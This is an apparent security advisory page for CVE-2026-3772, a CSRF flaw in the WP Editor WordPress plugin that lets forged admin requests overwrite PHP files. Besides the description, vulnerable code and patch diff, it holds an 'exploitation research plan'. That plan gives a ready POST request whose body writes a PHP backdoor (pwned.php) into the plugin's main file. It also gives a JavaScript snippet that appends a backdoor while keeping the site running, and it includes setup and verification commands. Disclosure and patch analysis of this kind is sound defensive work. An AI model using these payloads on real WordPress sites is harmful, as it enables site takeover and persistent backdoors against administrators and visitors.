CVE-2026-3772

WP Editor <= 1.2.9.2 - Cross-Site Request Forgery to Remote Code Execution via Plugin and Theme File Editor

highCross-Site Request Forgery (CSRF)
8.8
CVSS Score
8.8
CVSS Score
high
Severity
1.2.9.3
Patched in
1d
Time to patch

Description

The WP Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2.9.2. This is due to missing nonce verification in the 'add_plugins_page' and 'add_themes_page' functions. This makes it possible for unauthenticated attackers to overwrite arbitrary plugin and theme PHP files with attacker-controlled code via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.2.9.2
PublishedApril 30, 2026
Last updatedMay 1, 2026
Affected pluginwp-editor

What Changed in the Fix

Changes introduced in v1.2.9.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-3772 ## 1. Vulnerability Summary The **WP Editor** plugin (up to 1.2.9.2) is vulnerable to **Cross-Site Request Forgery (CSRF)** leading to **Remote Code Execution (RCE)**. The vulnerability exists in the plugin and theme file editor interfaces. While the U…

Show full research plan

Exploitation Research Plan - CVE-2026-3772

1. Vulnerability Summary

The WP Editor plugin (up to 1.2.9.2) is vulnerable to Cross-Site Request Forgery (CSRF) leading to Remote Code Execution (RCE). The vulnerability exists in the plugin and theme file editor interfaces.

While the UI views (views/plugin-editor.php and views/theme-editor.php) include nonce fields generated via wp_nonce_field(), the corresponding processing logic in WPEditorPlugins::add_plugins_page() and WPEditorThemes::add_themes_page() fails to verify these nonces before writing attacker-controlled content to PHP files on the server. An unauthenticated attacker can trick a logged-in administrator into submitting a forged request that overwrites arbitrary plugin or theme files with malicious PHP code.

2. Attack Vector Analysis

  • Vulnerable Endpoints:
    • Plugin Editor: wp-admin/plugins.php?page=wpeditor_plugin
    • Theme Editor: wp-admin/themes.php?page=wpeditor_themes
  • Vulnerable Parameters (POST):
    • new-content: The PHP code to be written to the file.
    • plugin (for plugins): The plugin directory and filename (e.g., wp-editor/wpeditor.php).
    • file (for plugins/themes): The relative path to the file being edited.
  • Authentication Level: Administrator (requires edit_plugins or edit_themes capabilities).
  • Preconditions: The targeted file must be writable by the web server.

3. Code Flow

  1. Entry Point: An administrator's browser is forced to send a POST request to wp-admin/plugins.php?page=wpeditor_plugin.
  2. Hook Registration: The plugin registers the menu pages which call WPEditorPlugins::add_plugins_page or WPEditorThemes::add_themes_page.
  3. Permission Check: Both functions check for capabilities:
    // classes/WPEditorPlugins.php line 6
    if ( !current_user_can( 'edit_plugins' ) ) { ... }
    
    CSRF bypasses this check because the request is sent with the administrator's cookies.
  4. Processing POST Data:
    The function checks for $_POST['new-content']. Crucially, it does not call wp_verify_nonce() or check_admin_referer() before reaching the write logic.
  5. Path Resolution:
    The plugin determines the $real_file path:
    // classes/WPEditorPlugins.php lines 25-53
    if ( isset( $_REQUEST['plugin'] ) ) { $plugin = ... }
    if ( isset( $_REQUEST['file'] ) ) { $file = ... }
    $real_file = WP_PLUGIN_DIR . '/' . $plugin;
    
  6. File Write (Sink):
    The content is written directly to the filesystem:
    // classes/WPEditorPlugins.php lines 55-68
    if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
        $new_content = stripslashes( $_POST['new-content'] );
        $f = fopen( $real_file, 'w+' );
        fwrite( $f, $new_content );
        fclose( $f );
    }
    

4. Nonce Acquisition Strategy

No nonce is required.

Although views/plugin-editor.php contains:

<?php wp_nonce_field( 'edit-plugin_' . esc_attr( $data['real_file'] )); ?>

The logic in WPEditorPlugins.php and WPEditorThemes.php never verifies this nonce for the new-content update operation. Verification is only present for the create_plugin_new action, which is separate from the file-saving logic.

5. Exploitation Strategy

The goal is to overwrite a plugin file with a simple PHP payload that creates a secondary backdoor, ensuring the site remains functional while confirming RCE.

Step-by-Step Plan:

  1. Target Identification: Identify a writable file. The main plugin file wp-editor/wpeditor.php is a reliable target.
  2. Payload Preparation: Create a payload that appends a small backdoor to the file or creates a new file.
  3. Forged Request: Execute a POST request via the http_request tool (acting as the "Administrator's browser").

Exploit Request (CSRF Simulation):

URL: http://<target>/wp-admin/plugins.php?page=wpeditor_plugin
Method: POST
Headers: Content-Type: application/x-www-form-urlencoded
Body:

plugin=wp-editor/wpeditor.php&file=wp-editor/wpeditor.php&new-content=<?php %23 WP Editor Backdoor %0Afile_put_contents(ABSPATH . "pwned.php", "<?php phpinfo();"); %0A%3F>

(Note: In a real CSRF, this would be an auto-submitting HTML form. For the PoC agent, we use http_request with admin cookies.)

6. Test Data Setup

  1. Install and Activate WP Editor:
    wp plugin install wp-editor --version=1.2.9.2 --activate
    
  2. Ensure File Writability:
    chmod 666 /var/www/html/wp-content/plugins/wp-editor/wpeditor.php
    
  3. Login as Admin: The execution agent should have the administrator session cookies loaded.

7. Expected Results

  • The HTTP response should be a 200 OK (the page reloads showing the editor).
  • The plugin code in wp-content/plugins/wp-editor/wpeditor.php will be overwritten with the payload.
  • Upon the next page load (which triggers wpeditor.php as it is active), the file pwned.php will be created in the WordPress root.

8. Verification Steps

  1. Check File Content via CLI:
    grep "pwned.php" /var/www/html/wp-content/plugins/wp-editor/wpeditor.php
    
  2. Verify Execution Result:
    ls -la /var/www/html/pwned.php
    
  3. Trigger the Backdoor via HTTP:
    Use http_request to GET /pwned.php and check for the "PHP Version" string.

9. Alternative Approaches

If overwriting the main plugin file crashes the site:

  1. Target Theme: Use the theme editor endpoint wp-admin/themes.php?page=wpeditor_themes and target style.css (if it's being treated as PHP) or a specific theme template like footer.php.
  2. Append Mode (If possible): Since the plugin uses w+ (truncate and write), we must provide the full content of the file if we want the site to keep working. A better PoC strategy is to read the content first via browser_eval or a separate GET request to the editor page, then POST the original_content + payload.

Manual Payload for "Safe" Overwrite:

// Example browser_eval to get original content
let content = document.querySelector('#new-content').value;
let payload = content + "\n<?php file_put_contents(ABSPATH . 'pwned.php', 'success'); ?>";
// Then submit via fetch or form
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 1.2.9.2 because it fails to perform nonce verification when saving changes in the plugin and theme file editors. An attacker can trick a logged-in administrator into visiting a malicious site that submits a forged POST request, allowing the attacker to overwrite arbitrary PHP files with malicious code to achieve Remote Code Execution (RCE).

Vulnerable Code

// classes/WPEditorPlugins.php lines 57-68
    if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
      $new_content = stripslashes( $_POST['new-content'] );
      if ( file_get_contents( $real_file ) === $new_content ) {
        WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" );
      }
      else {
        $f = fopen( $real_file, 'w+' );
        fwrite( $f, $new_content );
        fclose( $f );
        WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] just wrote to $real_file" );
      }
    }

---

// classes/WPEditorThemes.php lines 103-114
    if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
      $new_content = stripslashes( $_POST['new-content'] );
      if ( file_get_contents( $real_file ) === $new_content ) {
        WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" );
      }
      else {
        $f = fopen( $real_file, 'w+' );
        fwrite( $f, $new_content );
        fclose( $f );
        WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] just wrote to $real_file" );
      }
    }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-editor/1.2.9.2/classes/WPEditorPlugins.php /home/deploy/wp-safety.org/data/plugin-versions/wp-editor/1.2.9.3/classes/WPEditorPlugins.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-editor/1.2.9.2/classes/WPEditorPlugins.php	2021-01-15 03:07:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-editor/1.2.9.3/classes/WPEditorPlugins.php	2026-03-11 18:49:40.000000000 +0000
@@ -58,6 +58,10  @@
     $real_file = WP_PLUGIN_DIR . '/' . $plugin;
     
     if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
+      // Verify nonce to prevent CSRF attacks - nonce must match the file being edited
+      if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-plugin_' . $real_file ) ) {
+        wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) );
+      }
       $new_content = stripslashes( $_POST['new-content'] );
       if ( file_get_contents( $real_file ) === $new_content ) {
         WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-editor/1.2.9.2/classes/WPEditorThemes.php /home/deploy/wp-safety.org/data/plugin-versions/wp-editor/1.2.9.3/classes/WPEditorThemes.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-editor/1.2.9.2/classes/WPEditorThemes.php	2021-01-15 03:07:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-editor/1.2.9.3/classes/WPEditorThemes.php	2026-03-11 18:49:40.000000000 +0000
@@ -101,6 +101,10  @@
     $real_file = $current_theme_root . basename( $file );
         
     if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
+      // Verify nonce to prevent CSRF attacks - nonce must match the file being edited
+      if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'edit-theme_' . $real_file ) ) {
+        wp_die( __( 'Security check failed. Please refresh the page and try again.', 'wp-editor' ) );
+      }
       $new_content = stripslashes( $_POST['new-content'] );
       if ( file_get_contents( $real_file ) === $new_content ) {
         WPEditorLog::log( '[' . basename(__FILE__) . ' - line ' . __LINE__ . "] Contents are the same" );

Exploit Outline

The exploit leverages a Cross-Site Request Forgery (CSRF) vulnerability to overwrite PHP files via the plugin's custom file editor. An attacker identifies a target file (like the plugin's main file at `wp-editor/wpeditor.php`) and crafts a POST request to `wp-admin/plugins.php?page=wpeditor_plugin` (or `wp-admin/themes.php?page=wpeditor_themes`). The request includes a `new-content` parameter containing a PHP backdoor, as well as the path to the target file. Because the plugin logic fails to verify nonces for the file-writing operation, the attacker can force a logged-in administrator (with `edit_plugins` or `edit_themes` capabilities) to submit this request by tricking them into clicking a malicious link or visiting a site with an auto-submitting form. Once the file is overwritten, the attacker can execute arbitrary code by accessing the modified PHP file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.